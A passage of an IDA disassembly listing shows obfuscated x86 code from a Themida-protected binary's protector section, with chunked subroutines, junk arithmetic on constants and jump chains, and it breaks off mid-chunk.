; FUNCTION CHUNK AT 00565A15 SIZE 0000001D BYTES

		movzx	ax, byte ptr [edx]
		sub	esp, 4
		jmp	loc_565A15
sub_56D455	endp


; =============== S U B	R O U T	I N E =======================================



sub_56D464	proc near		; DATA XREF: Themida_:0055FCE0o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055FF9F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056088F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005618C7 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0056272B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00563E50 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00566D4A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A486 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056B0FE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056D447 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056ECDC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00570E43 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00573833 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00573924 SIZE 00000015 BYTES

		sub	esp, 4
		jmp	loc_56088F
sub_56D464	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_56D46F:				; CODE XREF: sub_56628B+2352j
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		add	esp, 4
		sub	eax, 6A271EE1h
		jmp	loc_567D66
; END OF FUNCTION CHUNK	FOR sub_56628B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B1DC


loc_56D482:				; CODE XREF: sub_56B1DC+3F6Dj
		add	ecx, 9D83F363h
		and	esi, ecx
		pop	ecx
		shr	esi, 3
		push	ebp
		sub	esp, 4
		mov	[esp+10h+var_10], esi
		mov	esi, 4D606BBDh
		inc	esi
		inc	esi
		push	eax
		mov	eax, 337D2FC3h
		xor	esi, eax
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		push	esi
		xor	[esp+14h+var_14], 30E9010Bh
		pop	ebp
		jmp	loc_561F1F
; END OF FUNCTION CHUNK	FOR sub_56B1DC

; =============== S U B	R O U T	I N E =======================================



sub_56D4B8	proc near		; CODE XREF: sub_574656-5FA8j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00560B19 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005612BA SIZE 00000046 BYTES
; FUNCTION CHUNK AT 005626B6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00563BFB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056495E SIZE 0000005C BYTES
; FUNCTION CHUNK AT 0056656B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00567646 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00567EF6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00569C9F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056AD12 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570A68 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00571DE2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00574048 SIZE 00000022 BYTES

		push	ebp
		mov	ebp, 4
		add	esi, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		xchg	esi, [esp+4+var_4]
		pop	esp
		sub	ecx, 7DBB3655h
		inc	ecx
		push	282h
		mov	[esp+4+var_4], ebp
		mov	ebp, 50145640h
		and	ecx, ebp
		pop	ebp
		push	edi
		jmp	loc_567646
sub_56D4B8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566DFE


loc_56D4EA:				; CODE XREF: sub_566DFE+79EFj
		neg	edi
		jmp	loc_5719A5
; END OF FUNCTION CHUNK	FOR sub_566DFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563FA2


loc_56D4F1:				; CODE XREF: sub_563FA2+3322j
		xor	eax, 4CA665CAh
		jmp	loc_573D29
; END OF FUNCTION CHUNK	FOR sub_563FA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_56D4FB:				; CODE XREF: sub_574F16-BAD7j
		push	ecx
		mov	ecx, esp
		jmp	loc_566506
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5722C8


loc_56D503:				; CODE XREF: sub_5722C8-B5BFj
		pop	ecx
		add	edi, 4
		push	edi
		jmp	loc_56751C
; END OF FUNCTION CHUNK	FOR sub_5722C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_56D50D:				; CODE XREF: sub_568E5C+51DEj
		sub	edx, 0ABB2D2F3h
		mov	ebp, edx
		pop	edx
		push	edi
		push	ebx
		mov	ebx, 55EC4E62h
		push	edx
		jmp	loc_57352C
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------


loc_56D523:				; CODE XREF: Themida_:00567D50j
		mov	[esp], esi
		mov	esi, 35B243DDh
		and	esi, 608B7DE3h
		shl	esi, 3
		neg	esi
		shr	esi, 1
		sub	esi, 15886344h
		add	esi, 16D46F13h
		or	ebx, esi
		pop	esi
		jmp	loc_56B34C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5684A6


loc_56D54C:				; CODE XREF: sub_5684A6+6433j
		xor	esi, [esp+4+var_4]
		jmp	loc_565C22
; END OF FUNCTION CHUNK	FOR sub_5684A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_56D554:				; CODE XREF: sub_574304-12744j
		add	ebx, ebp
		jmp	loc_565D36
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5604FE


loc_56D55B:				; CODE XREF: sub_5604FE+EF45j
		inc	edi
		push	eax
		mov	eax, 3DA64937h
		or	edi, eax
		pop	eax
		jmp	loc_56C080
; END OF FUNCTION CHUNK	FOR sub_5604FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E81


loc_56D56A:				; CODE XREF: sub_570E81-2AC7j
		sub	[esp+arg_0], eax
		push	0A6Dh
		mov	[esp+4+var_4], ebp
		push	edi
		mov	edi, 548047F4h
		mov	ebp, edi
		pop	edi
		add	[esp+4+arg_0], ebp
		pop	ebp
		jmp	sub_56DBD1
; END OF FUNCTION CHUNK	FOR sub_570E81

; =============== S U B	R O U T	I N E =======================================



sub_56D589	proc near		; CODE XREF: sub_56E126-B5E2j

; FUNCTION CHUNK AT 005716C7 SIZE 00000008 BYTES

		push	ebx
		mov	ebx, 14764074h
		jmp	loc_5716C7
sub_56D589	endp

; ---------------------------------------------------------------------------


loc_56D594:				; CODE XREF: Themida_:00563097j
		add	esp, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_5730E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574896


loc_56D5A5:				; CODE XREF: sub_574896-20D7j
		push	ecx
		mov	ecx, 5F0A3606h
		sub	ecx, 5F0A3602h
		jmp	loc_5602A2
; END OF FUNCTION CHUNK	FOR sub_574896
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573612


loc_56D5B6:				; CODE XREF: sub_573612-374Fj
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		add	ebx, 2
		jmp	loc_56AC96
; END OF FUNCTION CHUNK	FOR sub_573612
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56D5C7:				; CODE XREF: sub_57354D-EF46j
		pop	edi
		jmp	loc_56BBB3
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57109F


loc_56D5CD:				; CODE XREF: sub_57109F+8j
		push	edi
		mov	edi, 0FEh
		mov	esi, edi
		pop	edi
		and	[edi+1Ch], esi
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	esi
		push	edi
		jmp	loc_56B881
; END OF FUNCTION CHUNK	FOR sub_57109F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_56D5E6:				; CODE XREF: sub_570732-4E3Cj
		mov	[esp+0], edx
		push	eax
		push	ebp
		push	ebx
		mov	ebx, 49A27181h
		mov	ebp, 0A9EEC42Bh
		sub	ebp, ebx
		pop	ebx
		jmp	loc_569B14
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_56D5FE:				; CODE XREF: sub_56E126-C53Bj
		inc	[esp+8+var_8]
		jmp	loc_5728DE
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_56D606:				; CODE XREF: sub_56B06D-36BFj
		add	esp, 4
		or	ecx, ecx
		jz	loc_565954
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_573CE5
; ---------------------------------------------------------------------------


loc_56D61F:				; CODE XREF: sub_56B06D-53C2j
		add	ecx, ebx
		add	ecx, 59BE033Ch
		push	7348h
		mov	[esp+18h+var_18], edi
		jmp	loc_563917
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56102D


loc_56D634:				; CODE XREF: sub_56102D+99F9j
		and	edi, 539865F4h
		sub	edi, 0F20C1855h
		xor	eax, edi
		jmp	loc_5677A6
; END OF FUNCTION CHUNK	FOR sub_56102D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_56D647:				; CODE XREF: sub_56E126-92D4j
		add	edi, 53D93622h
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		push	5C00h
		mov	[esp+4+var_4], esi
		push	edx
		push	32FC6AD3h
		pop	edx
		or	edx, 0F0543BBh
		not	edx
		or	edx, 0A48390Dh
		add	edx, 544B5C31h
		mov	esi, edx
		pop	edx
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		push	edi
		mov	edi, 21B154C3h
		jmp	loc_56C75F
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574FC9


loc_56D68D:				; CODE XREF: sub_574FC9-7E11j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+4+var_4]
		jmp	loc_56EA5F
; END OF FUNCTION CHUNK	FOR sub_574FC9

; =============== S U B	R O U T	I N E =======================================



sub_56D69D	proc near		; DATA XREF: Themida_:0055FD24o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00562460 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00563AF2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00563C11 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00565626 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00565875 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00567442 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005695CF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056BF9D SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056ECCF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056F7B3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00570B6B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00571737 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00571E91 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0057283A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00572DA4 SIZE 0000000D BYTES

		lodsd
		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, 15227350h
		sub	eax, 6D893315h
		sub	eax, edx
		add	eax, 6D893315h
		pop	edx
		add	eax, 126F7465h
		sub	eax, ebx
		sub	eax, 126F7465h
		push	105Ch
		mov	[esp+4+var_4], edi
		mov	edi, 15227350h
		push	1AE7h
		mov	[esp+8+var_8], ebp
		push	edx
		jmp	loc_57283A
sub_56D69D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_56D6DD:				; CODE XREF: sub_56B06D+3BA5j
		push	eax
		mov	eax, 73C87D0Fh
		or	eax, 3C440D48h
		jmp	loc_56799F
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56D6ED:				; CODE XREF: sub_564D26+A866j
		add	esp, 4
		sub	edx, 0F7A28A87h
		mov	edi, edx
		pop	edx
		jmp	loc_56E988
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574FC9


loc_56D701:				; CODE XREF: sub_574FC9+4j
		push	esi
		mov	esi, esp
		push	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], edi
		xor	edi, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_567AFB
; END OF FUNCTION CHUNK	FOR sub_574FC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56189F


loc_56D720:				; CODE XREF: sub_56189F+8E85j
		shr	ebp, 4
		add	ebp, 0D21A090Ah
		add	edx, ebp
		pop	ebp
		sub	edi, 66F63577h
		sub	edi, edx
		add	edi, 66F63577h
		pop	edx
		jmp	loc_5619D9
; END OF FUNCTION CHUNK	FOR sub_56189F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5715F0


loc_56D740:				; CODE XREF: sub_5715F0+17j
		mov	edi, 2A5A24FDh
		add	[esp+8], edi
		pop	edi
		add	[esp+4], ecx
		push	ecx
		mov	ecx, 2A5A24FDh
		jmp	loc_563DB0
; END OF FUNCTION CHUNK	FOR sub_5715F0
; ---------------------------------------------------------------------------


loc_56D759:				; CODE XREF: Themida_:00566769j
		add	edi, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_571B65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C83E


loc_56D76C:				; CODE XREF: sub_56C83E-84DEj
		push	esi
		mov	esi, 6BFD00F2h
		jmp	loc_5721CD
; END OF FUNCTION CHUNK	FOR sub_56C83E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5681F5


loc_56D777:				; CODE XREF: sub_5681F5+313Cj
		pop	edx
		add	edx, 4
		jmp	loc_5644A2
; END OF FUNCTION CHUNK	FOR sub_5681F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_56D783:				; CODE XREF: sub_56657A+213Fj
		mov	ebp, 0C7236CFh
		jmp	loc_574361
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5684A6


loc_56D78D:				; CODE XREF: sub_5684A6+650Cj
		pop	ecx
		push	edx
		mov	edx, 10B4039h
		xor	edx, 2A7C552Dh
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 50107BA3h
		and	edx, ebx
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_571DF1
; END OF FUNCTION CHUNK	FOR sub_5684A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5716E8


loc_56D7B8:				; CODE XREF: sub_5716E8+4j
		push	65h
		mov	[esp+4+var_4], edi
		jmp	sub_56EFD2
; END OF FUNCTION CHUNK	FOR sub_5716E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570B3C


loc_56D7C5:				; CODE XREF: sub_570B3C-9E6Bj
		pop	dword ptr [edx+38h]
		mov	ebx, [esp+0]
		jmp	loc_56594E
; END OF FUNCTION CHUNK	FOR sub_570B3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_56D7D0:				; CODE XREF: sub_56CC46+4D8j
		pop	ebp
		mov	ebp, esi
		mov	esi, [esp+4+var_4]
		add	esp, 4
		push	ecx
		mov	ecx, 4CC13102h
		not	ecx
		jmp	loc_56B5A1
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------


loc_56D7E6:				; CODE XREF: Themida_:00564302j
		push	ebx
		jmp	loc_573307
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56D7EC:				; CODE XREF: sub_57354D-CC8Ej
		xor	eax, [esp+8+var_8]
		xor	[esp+8+var_8], eax
		xor	eax, [esp+8+var_8]
		pop	esp
		jmp	loc_573337
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5671E1


loc_56D7FB:				; CODE XREF: sub_5671E1-C12j
		add	edi, ecx
		add	edi, 6CFE34C2h
		pop	ecx
		push	esi
		mov	esi, 72C13B6Fh
		add	esi, 3CA85FDEh
		shr	esi, 6
		jmp	loc_56B9DE
; END OF FUNCTION CHUNK	FOR sub_5671E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_56D818:				; CODE XREF: sub_56AB5E-73D8j
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_56DD6D
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560844


loc_56D823:				; CODE XREF: sub_560844-63Aj
		push	3772h
		jmp	loc_5698FC
; END OF FUNCTION CHUNK	FOR sub_560844
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_56D82D:				; CODE XREF: sub_574656-1080Bj
		pop	[esp+4+var_4]
		jmp	loc_56ED3F
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_56D835:				; CODE XREF: sub_57146D-21D4j
		push	edx
		jmp	loc_56FD84
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57236D


loc_56D83B:				; CODE XREF: sub_57236D-58A4j
		or	ebx, 1815688Eh
		neg	ebx
		inc	ebx
		add	ebx, 551EA4F0h
		shl	ebx, 6
		shr	ebx, 3
		jmp	loc_57026E
; END OF FUNCTION CHUNK	FOR sub_57236D

; =============== S U B	R O U T	I N E =======================================



sub_56D855	proc near		; DATA XREF: Themida_:0055FE44o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= word ptr  4

; FUNCTION CHUNK AT 00561490 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056158E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056163D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005639FD SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005648BA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005657CF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005691E7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056C910 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056CE3A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056E220 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056E928 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056EA2E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005721C6 SIZE 00000007 BYTES

		mov	cx, [esp+0]
		push	eax
		jmp	loc_561490
sub_56D855	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_56D85F:				; CODE XREF: sub_57146D-25B4j
		push	0BBFh
		mov	[esp+0], ebx
		mov	bl, 0BBh
		xor	al, bl
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_567E64
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------


loc_56D876:				; CODE XREF: Themida_:005699BAj
		push	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_563BE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573612


loc_56D885:				; CODE XREF: sub_573612-104EBj
		sub	ebx, edi
		push	[esp+0Ch+var_C]
		pop	edi
		push	esi
		mov	esi, esp
		jmp	loc_565493
; END OF FUNCTION CHUNK	FOR sub_573612
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56421E


loc_56D893:				; CODE XREF: sub_56421E+1Aj
		xchg	ebp, [esp+0]
		pop	esp
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56421E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_56D89C:				; CODE XREF: sub_574304-13447j
		shl	ecx, 3
		sub	ecx, 87C6E63h
		neg	ecx
		jmp	loc_574AD6
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E81


loc_56D8AC:				; CODE XREF: sub_570E81-41CFj
		not	ebp
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		jmp	loc_56EFB0
; END OF FUNCTION CHUNK	FOR sub_570E81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569FB8


loc_56D8BC:				; CODE XREF: sub_569FB8+AE5j
		sub	ch, 4Ah
		add	ch, 0B6h
		sub	ch, bl
		sub	ch, 0B6h
		add	ch, 4Ah
		pop	ebx
		jmp	loc_570314
; END OF FUNCTION CHUNK	FOR sub_569FB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_56D8D0:				; CODE XREF: sub_561027+1531j
		and	edi, 10937BBCh
		sub	edi, 0D28D1EF3h
		or	edx, edi
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		inc	edx
		add	edx, 80A0A144h
		add	ebx, edx
		pop	edx
		push	edi
		jmp	loc_560912
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_56D8F4:				; CODE XREF: sub_561418+11669j
		pop	esp
		xchg	ecx, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56D8FE:				; CODE XREF: sub_57354D+106Fj
		mov	eax, 7569652Eh
		push	ecx
		mov	ecx, 16E73C9Ah
		push	0
		sub	[esp+14h+var_14], ecx
		pop	ecx
		neg	ecx
		shr	ecx, 6
		or	ecx, 358A3734h
		add	ecx, 0DDF3BA71h
		add	eax, ecx
		pop	ecx
		shr	eax, 2
		jmp	loc_564702
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566DC7


loc_56D92E:				; CODE XREF: sub_566DC7+1j
		add	[esp+8+var_8], 1B58508Dh
		pop	ebp
		sub	ebp, 1B58508Dh
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		push	edx
		mov	edx, 30323AA9h
		sub	esi, edx
		mov	edx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5607B8
; END OF FUNCTION CHUNK	FOR sub_566DC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5754DA


loc_56D958:				; CODE XREF: sub_5754DA-BDE1j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		pop	esp
		sub	ch, 1Ch
		jmp	loc_570E02
; END OF FUNCTION CHUNK	FOR sub_5754DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5638E4


loc_56D973:				; CODE XREF: sub_5638E4+C07Fj
		mov	[esp+10h+var_10], esi
		push	21821155h
		pop	esi
		xor	esi, 641C5CCCh
		jmp	loc_570693
; END OF FUNCTION CHUNK	FOR sub_5638E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570FB7


loc_56D987:				; CODE XREF: sub_570FB7-342Fj
		xor	edi, eax
		xor	eax, edi
		push	681Ch
		mov	[esp+0], ebx
		mov	ebx, 66C870AAh
		xor	eax, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		push	4164h
		jmp	loc_56C458
; END OF FUNCTION CHUNK	FOR sub_570FB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_56D9AA:				; CODE XREF: sub_5685B2+8C9Dj
		sub	[esp+0Ch+var_C], 777A2533h
		sub	[esp+0Ch+var_C], ebp
		push	ebx
		mov	ebx, 777A2533h
		add	[esp+10h+var_C], ebx
		jmp	loc_5601B0
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566117


loc_56D9C3:				; CODE XREF: sub_566117-4D53j
		add	ebx, ecx
		jmp	loc_572650
; END OF FUNCTION CHUNK	FOR sub_566117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_56D9CA:				; CODE XREF: sub_568E5C+32CCj
		pop	ecx
		sub	ebx, 4473277Fh
		add	ebx, 737B06FDh
		sub	ebx, 7D890A8Ch
		add	ebx, eax
		add	ebx, 7D890A8Ch
		sub	ebx, 737B06FDh
		add	ebx, 4473277Fh
		sub	ebx, 48FA110Eh
		jmp	sub_57236D
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567B29


loc_56D9FC:				; CODE XREF: sub_567B29-6F9j
		mov	edx, esp
		add	edx, 4
		jmp	loc_56FDBF
; END OF FUNCTION CHUNK	FOR sub_567B29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DBD1


loc_56DA09:				; CODE XREF: sub_56DBD1-B835j
		add	dword ptr [esp+0], 722776FCh
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56DBD1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574949


loc_56DA15:				; CODE XREF: sub_574949-6BE1j
		xchg	ebx, esi
		jmp	loc_56101D
; END OF FUNCTION CHUNK	FOR sub_574949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A608


loc_56DA1C:				; CODE XREF: sub_56A608+46FEj
		sub	esi, edx
		pop	edx
		or	ecx, esi
		pop	esi
		jmp	loc_571A59
; END OF FUNCTION CHUNK	FOR sub_56A608
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CD13


loc_56DA27:				; CODE XREF: sub_56CD13-BB3Cj
		sub	ecx, ebp
		push	40Ch
		mov	[esp+14h+var_14], edx
		jmp	loc_57018D
; END OF FUNCTION CHUNK	FOR sub_56CD13

; =============== S U B	R O U T	I N E =======================================



sub_56DA36	proc near		; CODE XREF: sub_560137+1274j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00560BB1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569BDA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005713FC SIZE 0000000C BYTES

		push	ebp
		mov	ebp, 68873CA9h
		neg	ebp
		jmp	loc_569BDA
sub_56DA36	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_56DA43	proc near		; CODE XREF: sub_562ED9+FD31j

var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00560024 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005608F6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00560E35 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056173F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00562E5C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056505A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00566180 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005688E7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00569FC0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056DD0A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056E3BF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056F858 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056FF9F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00570AF0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00571E0D SIZE 00000037 BYTES
; FUNCTION CHUNK AT 0057218C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00572B04 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00572F73 SIZE 00000015 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	ecx
		push	edi
		mov	edi, 0A5255B6h
		shl	edi, 2
		or	edi, 7ED547A9h
		neg	edi
		add	edi, 9D40BD51h
		mov	ecx, edi
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		not	ecx
		jmp	loc_56FF9F
sub_56DA43	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568F83


loc_56DA73:				; CODE XREF: sub_568F83+A831j
